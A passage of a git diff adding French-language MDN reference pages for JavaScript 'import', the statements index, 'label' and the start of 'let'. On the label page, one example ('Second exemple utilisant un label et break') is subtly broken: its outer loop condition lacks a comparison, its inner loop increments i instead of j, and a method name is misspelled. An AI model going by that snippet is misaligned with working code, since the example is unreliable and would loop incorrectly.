+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">import <em>exportParDefaut</em> from "<em>nom-module</em>";
+import * as <em>nom</em> from "<em>nom-module</em>";
+import { <em>export </em>} from "<em>nom-module</em>";
+import { <em>export</em> as <em>alias </em>} from "<em>nom-module</em>";
+import { <em>export1 , export2</em> } from "<em>nom-module</em>";
+import { <em>export1 , export2</em> as <em>alias2</em> , <em>[...]</em> } from "<em>nom-module</em>";
+import <em>exportParDefaut</em>, { <em>export</em> [ , <em>[...]</em> ] } from "<em>nom-module</em>";
+import <em>exportParDefaut</em>, * as <em>nom</em> from "<em>nom-module</em>";
+import "<em>nom-module</em>";
+import { <em>toto , truc</em> } from "<em>nom-module/chemin/vers/fichier-non-exporte</em>";
+let <em>promesse</em> = import("<em>nom-module</em>");</pre>
+
+<dl>
+ <dt><code>exportParDefaut</code></dt>
+ <dd>Nom qui fera référence à l'export par défaut du module.</dd>
+ <dt><code>nom-module</code></dt>
+ <dd>Le module depuis lequel importer. C'est souvent un chemin absolu ou relatif vers le fichier <code>.js</code> contenant le module. Certains empaqueteurs peuvent permettre ou requérir l'utilisation de l'extension ; vérifier votre environnement. Seules les String à apostrophes simples ou doubles sont autorisées.</dd>
+ <dt><code>nom</code></dt>
+ <dd>Nom de l'objet module qui sera utilisé comme un genre d'espace de noms lors de références aux imports.</dd>
+ <dt><code>export</code>, <code>exportN</code></dt>
+ <dd>Nom des exports à importer.</dd>
+ <dt><code>alias</code>, <code>aliasN</code></dt>
+ <dd>Noms qui feront référence aux imports nommés.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Le paramètre <code>nom</code> est le nom de l'"objet module" qui sera utilisé comme un genre d'espace de noms lors de références aux exports. Les paramètres <code>export</code> indiquent les exports nommés individuellement, tandis que la syntaxe <code>import * as nom</code> les importe tous. Ci-dessous d'autres exemples pour clarifier la syntaxe.</p>
+
+<h3 id="Importer_lintégralité_du_contenu_dun_module">Importer l'intégralité du contenu d'un module</h3>
+
+<p>Ce qui suit insère <code>monModule</code> dans la portée courante, contenant tous les exports  du module dans le fichier situé dans <code>/modules/mon-module.js</code>.</p>
+
+<pre class="brush: js">import * as monModule from '/modules/mon-module.js';
+</pre>
+
+<p>Ici, accéder aux exports signifie utiliser le nom du module (ici <code>monModule</code>) comme un espace de noms. Par exemple, si le module importé ci-dessus incluait un export <code>faireToutesLesChosesIncroyables()</code>, vous l'écririez comme ceci :</p>
+
+<pre class="brush: js">monModule.faireToutesLesChosesIncroyables();</pre>
+
+<h3 id="Importer_un_seul_export_depuis_un_module">Importer un seul export depuis un module</h3>
+
+<p>Étant donné un objet ou une valeur nommé(e) <code>monExport</code> qui est exporté(e) depuis le module <code>mon-module</code>, soit implicitement (parce que l'intégralité du module est exportée), soit explicitement (en utilisant l'instruction {{jsxref("Statements/export", "export")}}), ce qui suit insére <code>monExport</code> dans la portée courante.</p>
+
+<pre class="brush: js">import {monExport} from '/modules/mon-module.js';</pre>
+
+<h3 id="Importer_plusieurs_éléments_exportés_depuis_un_module">Importer plusieurs éléments exportés depuis un module</h3>
+
+<p>Ce qui suit insère à la fois <code>machin</code> et <code>truc</code> dans la portée courante.</p>
+
+<pre class="brush: js">import {machin, truc} from '/modules/mon-module.js';</pre>
+
+<h3 id="Importer_un_élément_exporté_avec_un_alias">Importer un élément exporté avec un alias</h3>
+
+<p>Vous pouvez renommer un export lors de l'importation. Par exemple, ce qui suit insére <code>nomCourt</code> dans la portée courante.</p>
+
+<pre class="brush: js">import {nomDExportDeModuleVraimentVraimentLong as nomCourt}
+  from '/modules/mon-module.js';</pre>
+
+<h3 id="Renommer_plusieurs_exports_pendant_limport">Renommer plusieurs exports pendant l'import</h3>
+
+<p>Importe des exports multiples depuis un module avec des alias commodes :</p>
+
+<pre class="brush: js">import {
+  nomDExportDeModuleVraimentVraimentLong as nomCourt,
+  unAutreNomDeModuleLong as court
+} from '/modules/mon-module.js';</pre>
+
+<h3 id="Importer_un_module_uniquement_pour_ses_effets_de_bord">Importer un module uniquement pour ses effets de bord</h3>
+
+<p>Importe un module complet pour ses effets de bord seulement, sans importer quoi que ce soit. Ce qui suit exécute le code global du module, mais n'importe en fait aucune valeur.</p>
+
+<pre class="brush: js">import '/modules/mon-module.js';
+</pre>
+
+<h3 id="Importation_des_défauts">Importation des défauts</h3>
+
+<p>Il est possible d'avoir un {{jsxref("Statements/export", "export")}} par défaut (que ce soit un objet, une fonction, une classe, etc.). L'instruction <code>import</code> peut alors être utilisée pour importer ces défauts.</p>
+
+<p>La version la plus simple importe directement le défaut :</p>
+
+<pre class="brush: js">import monDefaut from '/modules/mon-module.js';</pre>
+
+<p>Il est également possible d'utiliser la syntaxe de défaut avec celles vues ci-dessus (imports d'espaces de noms ou imports nommés). Dans de tels cas, l'import par défaut devra être déclaré en premier. Par exemple :</p>
+
+<pre class="brush: js">import monDefaut, * as monModule from '/modules/mon-module.js';
+// monModule utilisé comme un espace de noms</pre>
+
+<p>ou</p>
+
+<pre class="brush: js">import monDefaut, {machin, truc} from '/modules/mon-module.js';
+// imports nommés spécifiques
+</pre>
+
+<h3 id="Imports_dynamiques"><a id="dyn" name="dyn">Imports dynamiques</a></h3>
+
+<p>Le mot-clé <code>import</code> peut être utilisé comme une fonction afin d'importer dynamiquement un module (utile lorsqu'on souhaite charger un module selon une condition donnée ou faire du chargement à la demande). Lorsqu'il est utilisé de cette façon, il renvoie une promesse :</p>
+
+<pre class="brush: js">import('/modules/mon-module.js')
+  .then((module) =&gt; {
+    // Faire quelque chose avec le module
+  });</pre>
+
+<p>On peut utiliser cette forme avec le mot-clé <code>await</code> :</p>
+
+<pre class="brush: js">let module = await import('/modules/mon-module.js');</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Importation depuis un module secondaire pour aider le traitement d'une requête AJAX JSON.</p>
+
+<h3 id="Le_module_fichier.js">Le module : fichier.js</h3>
+
+<pre class="brush: js; highlight: [14]">function getJSON(url, rappel) {
+  let xhr = new XMLHttpRequest();
+  xhr.onload = function () {
+    rappel(this.responseText)
+  };
+  xhr.open('GET', url, true);
+  xhr.send();
+}
+
+export function recupererContenuUtile(url, rappel) {
+  getJSON(url, donnees =&gt; rappel(JSON.parse(donnees)));
+}</pre>
+
+<h3 id="Le_programme_principal_principal.js">Le programme principal : principal.js</h3>
+
+<pre class="brush: js">import { recupererContenuUtile } from '/modules/fichier.js';
+
+recupererContenuUtile('http://www.example.com',
+    donnees =&gt; { faireQuelqueChoseDUtile(donnees); });</pre>
+
+<h3 id="Import_dynamique">Import dynamique</h3>
+
+<p>Dans cet exemple, on voit comment charger une fonctionnalité sur une page lorsqu'un utilisateur effectue une certaine action. Ici, lorsque l'utilisateur clique sur un bouton, cela déclenche l'appel d'une fonction dans le module.</p>
+
+<pre class="brush: js">const main = document.querySelector("main");
+for (const link of document.querySelectorAll("nav &gt; a")) {
+  link.addEventListener("click", e =&gt; {
+    e.preventDefault();
+
+    import('/modules/mon-module.js')
+      .then(module =&gt; {
+        module.loadPageInto(main);
+      })
+      .catch(err =&gt; {
+        main.textContent = err.message;
+      });
+  });
+}
+
+;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://github.com/tc39/proposal-dynamic-import/#import">Proposition pour les imports dynamiques « fonctionnels »</a></td>
+   <td>Proposition de niveau 4</td>
+   <td>Fera partie de ECMAScript 2020</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-imports", "Imports")}}</td>
+   <td>{{Spec2("ESDraft")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2018", "#sec-imports", "Imports")}}</td>
+   <td>{{Spec2("ES2018")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2017", "#sec-imports", "Imports")}}</td>
+   <td>{{Spec2("ES2017")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2016", "#sec-imports", "Imports")}}</td>
+   <td>{{Spec2("ES2016")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES2015", "#sec-imports", "Imports")}}</td>
+   <td>{{Spec2("ES2015")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer aux données, voyez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h3 id="Suivi_de_limplémentation">Suivi de l'implémentation</h3>
+
+<p>Le tableau qui suit fournit un statut journalier de l'implémentation de cette fonctionnalité car celle-ci n'a pas encore atteint une stabilité sur l'ensemble des navigateurs. Les données sont générées à partir des tests de la fonctionnalité dans Test262 (la suite de tests standard pour JavaScript), exécutée pour les versions <em>nightly</em> ou <em>release</em> des moteurs JavaScript des navigateurs.</p>
+
+<div>{{EmbedTest262ReportResultsTable("dynamic-import")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/export", "export")}}</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/import.meta">import.meta</a></code></li>
+ <li>Limin Zhu, Brian Terlson et l'équipe Microsoft Edge : <a href="https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/">Previewing ES6 Modules and more from ES2015, ES2016 and beyond</a></li>
+ <li><a href="https://tech.mozfr.org/post/2015/08/21/ES6-en-details-%3A-les-modules">Jason Orendorff : ES6 en détails : les modules</a></li>
+ <li><a class="external" href="https://exploringjs.com/es6/ch_modules.html">Le livre d'Axel Rauschmayer : Exploring JS: Modules</a></li>
+ <li><a href="https://tech.mozfr.org/post/2018/04/06/Une-plongee-illustree-dans-les-modules-ECMAScript">Un billet illustré de Lin Clark, traduit en français, sur les modules</a></li>
+ <li><a href="https://javascript.info/import-export">Tutoriel JavaScript sur <code>export</code> et <code>import</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/index.html b/files/fr/web/javascript/reference/instructions/index.html
new file mode 100644
index 0000000000..ad89ea7371
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/index.html
@@ -0,0 +1,155 @@
+---
+title: Instructions
+slug: Web/JavaScript/Reference/Instructions
+tags:
+  - JavaScript
+  - Reference
+  - statements
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div class="boxed translate-rendered">
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Les applications JavaScript sont composées de plusieurs instructions organisées grâce à une syntaxe. Une instruction peut s'étaler sur plusieurs lignes et on peut avoir plusieurs instructions sur une seule ligne si chaque instruction est séparée de la suivante par un point-virgule.</p>
+
+<h2 id="Instructions_et_déclarations_par_catégorie">Instructions et déclarations, par catégorie</h2>
+
+<p>Pour une liste alphabétique, voir le volet de navigation situé à gauche sur cette page.</p>
+
+<h3 id="Contrôle_du_flux">Contrôle du flux</h3>
+
+<dl>
+ <dt>{{jsxref("Instructions/bloc", "Bloc")}}</dt>
+ <dd>Une instruction de bloc est utilisée pour regrouper zéro ou plusieurs instructions. Un bloc est délimité par une paire d'accolades.</dd>
+ <dt>{{jsxref("Instructions/break", "break")}}</dt>
+ <dd>Cette instruction termine la boucle ou l'instruction <code>switch</code> ou l'instruction <code>label</code> en cours et continue l'exécution sur l'instruction suivant l'instruction terminée.</dd>
+ <dt>{{jsxref("Instructions/continue", "continue")}}</dt>
+ <dd>Cette instruction termine l'exécution des instructions dans la boucle courante, ou la boucle avec une étiquette correspondante, et continue l'exécution de la boucle dans l'itération suivante.</dd>
+ <dt>{{jsxref("Instructions/vide", "Vide")}}</dt>
+ <dd>Une instruction vide est utilisée pour ne fournir aucune instruction là où JavaScript en attendrait une.</dd>
+ <dt>{{jsxref("Instructions/if...else","if...else")}}</dt>
+ <dd>Cette instruction exécute une instruction si une condition donnée est vérifiée. Si la condition n'est pas vérifiée une autre instruction pourra être exécutée.</dd>
+ <dt>{{jsxref("Instructions/switch", "switch")}}</dt>
+ <dd>Cette instruction permet d'évaluer une expression et de faire correspondre le résultat de cette expression avec différents cas et d'exécuter les instructions associées aux cas qui ont chacun un identifiant.</dd>
+ <dt>{{jsxref("Instructions/throw", "throw")}}</dt>
+ <dd>Cette instruction lève une exception.</dd>
+ <dt>{{jsxref("Instructions/try...catch","try...catch")}}</dt>
+ <dd>Cette instruction permet de spécifier un ensemble d'instructions à tenter, et de préciser le traitement à effectuer dans le cas où une exception est produite.</dd>
+</dl>
+
+<h3 id="Déclarations">Déclarations</h3>
+
+<dl>
+ <dt>{{jsxref("Instructions/var", "var")}}</dt>
+ <dd>
+ <p>Cette instruction permet de déclarer une variable, éventuellement en fournissant une valeur pour permettant de l'initialiser.</p>
+ </dd>
+ <dt>{{jsxref("Instructions/let", "let")}}</dt>
+ <dd>Cette instruction permet de déclarer une variable locale dans une portée d'un bloc et éventuellement d'initialiser sa valeur.</dd>
+ <dt>{{jsxref("Instructions/const", "const")}}</dt>
+ <dd>Cette instruction déclare une constante en lecture seule.</dd>
+</dl>
+
+<h3 id="Fonctions_et_classes">Fonctions et classes</h3>
+
+<dl>
+ <dt>{{jsxref("Instructions/function", "function")}}</dt>
+ <dd>Cette instruction déclare une fonction avec les paramètres donnés.</dd>
+ <dt>{{jsxref("Instructions/function*", "function*")}}</dt>
+ <dd>Les fonctions génératrices permettent de créer des <a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">itérateurs</a> plus simplement.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Instructions/async_function", "async function")}}</dt>
+ <dd>Cette instruction déclare une fonction asynchrone avec les paramètres associés.</dd>
+ <dt>{{jsxref("Instructions/return", "return")}}</dt>
+ <dd>Cette instruction spécifie la valeur de retour renvoyée par une fonction.</dd>
+ <dt>{{jsxref("Instructions/class", "class")}}</dt>
+ <dd>Déclare une classe.</dd>
+</dl>
+
+<h3 id="Itérations">Itérations</h3>
+
+<dl>
+ <dt>{{jsxref("Instructions/do...while", "do...while")}}</dt>
+ <dd>Cette instruction crée une boucle qui s'exécute tant que la condition est vraie. La condition est évaluée après avoir exécuté une itération de boucle, ce qui fait que cette boucle sera exécutée au moins une fois.</dd>
+ <dt>{{jsxref("Instructions/for", "for")}}</dt>
+ <dd>Cette instruction crée une boucle qui se base sur trois expressions facultatives. Ces expressions sont entre parenthèses, séparées par des points virgules et suivies par l'instruction à exécuter dans la boucle.</dd>
+ <dt>{{jsxref("Instructions/for_each...in", "for each...in")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>Cette instruction itère une variable donnée sur toutes les propriétés d'un objet. Pour chaque propriété distincte, une instruction spécifique est exécutée.</dd>
+ <dt>{{jsxref("Instructions/for...in", "for...in")}}</dt>
+ <dd>Cette instruction effectue, dans un ordre arbitraire, une boucle sur les propriétés énumérables d'un objet. Pour chacune des différentes propriétés, des instructions peuvent être exécutées.</dd>
+ <dt>{{jsxref("Instructions/for...of", "for...of")}}</dt>
+ <dd>Cette instruction parcourt les objets sur lesquels on peut itérer (comme les tableaux, les <a class="new" href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">itérateurs et générateurs</a>). Pour ce faire, elle utilise un mécanisme d'itération sur mesure utilisant des instructions à exécuter pour chacune des différentes propriétés.</dd>
+ <dt>{{jsxref("Instructions/for-await...of","for await...of")}}</dt>
+ <dd>Cette instruction parcourt les objets itérables asynchrones tels que les tableaux, les <a class="new" href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">itérateurs et générateurs</a>. Elle utilise un mécanisme d'itération spécifique et des instructions sont exécutées pour la valeur de chaque propriété.</dd>
+ <dt>{{jsxref("Instructions/while", "while")}}</dt>
+ <dd>Cette instruction permet de créer une boucle qui s'exécute tant qu'une condition de test est vérifiée. La condition est évaluée avant d'exécuter l'instruction contenue dans la boucle.</dd>
+</dl>
+
+<h3 id="Autres">Autres</h3>
+
+<dl>
+ <dt>{{jsxref("Instructions/debugger", "debugger")}}</dt>
+ <dd>Cette instruction appelle une fonctionnalité de débogage. Si aucune fonctionnalité de débogage n'est disponible, l'instruction n'a aucun effet.</dd>
+ <dt>{{jsxref("Instructions/export", "export")}}</dt>
+ <dd>Cette instruction permet à un script signé de fournir des propriétés, fonctions et des objets à d'autres scripts (signés ou non).</dd>
+ <dt>{{jsxref("Instructions/import", "import")}}</dt>
+ <dd>Cette instruction permet à un script d'importer des propriétés, fonctions ou objets depuis un script qui les exporte.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Instructions/import.meta"><code>import.meta</code></a></dt>
+ <dd>Une méta propriété qui expose des métadonnées à propos du module JavaScript.</dd>
+ <dt>{{jsxref("Instructions/label", "label")}}</dt>
+ <dd>Cette instruction fournit un identifiant auquel il est possible de se référer en utilisant une instruction <code>break</code> ou <code>continue</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Instructions/with", "with")}} {{deprecated_inline}}</dt>
+ <dd>Cette instruction permet d'étendre la portée chaînée d'une instruction.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Nouveaux éléments : <code>function*</code>, <code>let</code>, <code>for...of</code>, <code>yield</code>, <code>class</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le chapitre de cette référence sur les <a href="/fr/docs/JavaScript/Reference/Op%C3%A9rateurs">opérateurs JavaScript</a>.</li>
+</ul>
+</div>
diff --git a/files/fr/web/javascript/reference/instructions/label/index.html b/files/fr/web/javascript/reference/instructions/label/index.html
new file mode 100644
index 0000000000..2b3fb86d46
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/label/index.html
@@ -0,0 +1,206 @@
+---
+title: label
+slug: Web/JavaScript/Reference/Instructions/label
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/label
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Une <strong>instruction étiquetée (<em>labeled</em> en anglais)</strong> peut être utilisée avec les instructions {{jsxref("Instructions/break", "break")}} ou {{jsxref("Instructions/continue", "continue")}}. Un label permet d'identifier une instruction avec un identifiant pour y faire référence plus tard.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-label.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les boucles ou les blocs étiquetés sont très rares et on peut généralement utiliser des appels de fonction plutôt que des sauts de boucle.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>label</em> :
+   <em>instruction</em>
+</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>N'importe quel identifiant JavaScript qui n'est pas un mot-clé réservé.</dd>
+ <dt><code>instruction</code></dt>
+ <dd>Une instruction. <code>break</code> peut être utilisé avec n'importe quelle instruction identifiée. <code>continue</code> ne peut être utilisé qu'avec des instructions de boucle.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une étiquette (<em>label</em>) peut être utilisée pour identifier une boucle et pour y faire référence à l'intérieur en utilisant les instructions <code>break</code> ou <code>continue</code> afin d'interrompre cette boucle ou de reprendre son exécution.</p>
+
+<p>JavaScript <em>ne possède pas</em> d'instruction <code>goto</code>, les étiquettes ne peuvent être utilisées que par les instructions <code>break</code> ou <code>continue</code>.</p>
+
+<p>En <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, on ne peut pas utiliser <code>let</code> comme étiquette, cela lèvera une exception {{jsxref("SyntaxError")}} (<code>let</code> est un identifiant réservé).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Faire_référence_à_une_étiquette_avec_continue_dans_une_boucle">Faire référence à une étiquette avec <code>continue</code> dans une boucle</h3>
+
+<pre class="brush: js">var i, j;
+
+boucle1:
+for (i = 0; i &lt; 3; i++) {      //Le premier for correspond à "boucle1"
+   boucle2:
+   for (j = 0; j &lt; 3; j++) {   //Le second for correspond à "boucle2"
+      if (i === 1 &amp;&amp; j === 1) {
+         continue boucle1;
+      } else {
+         console.log("i = " + i + ", j = " + j);
+      }
+   }
+}
+
+// On aura les résultats suivants :
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+//   "i = 2, j = 0"
+//   "i = 2, j = 1"
+//   "i = 2, j = 2"
+// On voit bien l'absence de "i = 1, j = 1" et "i = 1, j = 2"
+</pre>
+
+<h3 id="Second_exemple_utilisant_continue">Second exemple utilisant <code>continue</code></h3>
+
+<p>Étant donné un tableau d'élément et un tableau de tests, cet exemple donne le nombre d'éléments qui ont réussi tous les tests.</p>
+
+<pre class="brush: js">var nbItemsReussis = 0;
+var i, j;
+
+top:
+for (i = 0; i &lt; items.length; i++){
+  for (j = 0; j &lt; tests.length; j++){
+    if (!tests[j].reussi(items[i])){
+      continue top;
+    }
+  }
+  nbItemsReussis++;
+}</pre>
+
+<h3 id="Utiliser_break_avec_une_étiquette_au_sein_d'une_boucle_for">Utiliser <code>break</code> avec une étiquette au sein d'une boucle <code>for</code></h3>
+
+<pre class="brush: js">var i, j;
+
+boucle1:
+for (i = 0; i &lt; 3; i++) { // première boucle étiquetée « boucle1 »
+  boucle2:
+  for (j =0; j &lt; 3; j++) { // seconde boucle étiquetée « boucle2 »
+    if (i == 1 &amp;&amp; j == 1) {
+      break boucle1;
+    }
+    console.log("i = " + i + ", j = " + j);
+  }
+}
+
+// Ce qui produira en sortie
+// (dans la console)
+// "i = 0, j = 0"
+// "i = 0, j = 1"
+// "i = 0, j = 2"
+// "i = 1, j = 0"
+// Ici on voit la différence avec l'exemple précédent utilisant continue
+</pre>
+
+<h3 id="Second_exemple_utilisant_un_label_et_break">Second exemple utilisant un label et <code>break</code></h3>
+
+<p>Étant donné un tableau d'éléments et un tableau de tests, cet exemple permet de déterminer si oui ou non tous les éléments ont réussis tous les tests.</p>
+
+<pre class="brush: js">var toutReussi = true;
+var i, j;
+
+top:
+for (i = 0; items.length; i++)
+  for (j = 0; j &lt; tests.length; i++)
+    if (!tests[j].reusi(items[i])){
+      toutReussi = false;
+      break top;
+    }
+</pre>
+
+<h3 id="Utilise_un_bloc_étiqueté_avec_break">Utilise un bloc étiqueté avec <code>break</code></h3>
+
+<p>On peut utiliser des étiquettes dans des blocs simples mais seul <code>break</code> permettra de faire référence à des étiquettes en dehors d'une boucle.</p>
+
+<pre class="brush: js">toto: {
+  console.log("face");
+  break toto;
+  console.log("this will not be executed");
+}
+console.log("swap");
+
+// On aura alors dans la console :
+
+// "face"
+// "swap </pre>
+
+<h3 id="Déclarations_de_fonctions_étiquetées">Déclarations de fonctions étiquetées</h3>
+
+<p>À partir d'ECMAScript 2015, les déclarations de fonctions étiquetées sont standardisées pour du code non-strict <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-labelled-function-declarations">au sein de l'annexe de la spécification relative à la compatibilité web</a>.</p>
+
+<pre class="brush: js">L: function F() {}</pre>
+
+<p>En revanche, en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, cela lèvera une exception {{jsxref("SyntaxError")}}:</p>
+
+<pre class="brush: js">"use strict";
+L: function F() {}
+// SyntaxError: functions cannot be labelled</pre>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function*">Les fonctions génératrices</a> ne peuvent pas être étiquetées, en mode strict, comme en mode non-strict :</p>
+
+<pre class="brush: js">L: function* F() {}
+// SyntaxError: generator functions cannot be labelled
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.label")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/break", "break")}}</li>
+ <li>{{jsxref("Instructions/continue", "continue")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/let/index.html b/files/fr/web/javascript/reference/instructions/let/index.html
new file mode 100644
index 0000000000..be39c8ecae
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/let/index.html
@@ -0,0 +1,371 @@
+---
+title: let
+slug: Web/JavaScript/Reference/Instructions/let
+tags:
+  - ECMAScript 2015
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/let
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>let</code></strong> permet de déclarer une variable dont la portée est celle du bloc courant, éventuellement en initialisant sa valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-let.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">let var1 [= valeur1] [, var2 [= valeur2]] [, ..., varN [= valeurN]];</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>var1</code>, <code>var2</code>, …, <code>varN</code></dt>
+ <dd>Le nom de la ou des variables. Ces noms doivent être des identifiants JavaScript valides.</dd>
+ <dt><code>valeur1</code>, <code>valeur2</code>, …, <code>valeurN</code>{{optional_inline}}</dt>
+ <dd>Pour chaque variable déclaré, on peut indiquer, de façon optionnelle, sa valeur initiale. Ces valeurs peuvent être n'importe quelle expression légale.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>let</code> permet de déclarer des variables dont la portée est limitée à celle du <a href="/fr/docs/Web/JavaScript/Reference/Instructions/bloc">bloc</a> dans lequel elles sont déclarées. Le mot-clé {{jsxref("Instructions/var","var")}}, quant à lui, permet de définir une variable globale ou locale à une fonction (sans distinction des blocs utilisés dans la fonction).</p>
+
+<p>Une autre différence entre <code>let</code> et <code>var</code> est la façon dont la variable est initialisée : pour <code>let</code>, la variable est initialisée à l'endroit où le parseur évalue son contenu (cf. ci-après).</p>
+
+<p>À l'instar de {{jsxref("instructions/const", "const")}}, <code>let</code> ne crée pas de propriété sur l'objet {{domxref("window")}} quand les variables sont déclarées au niveau global.</p>
+
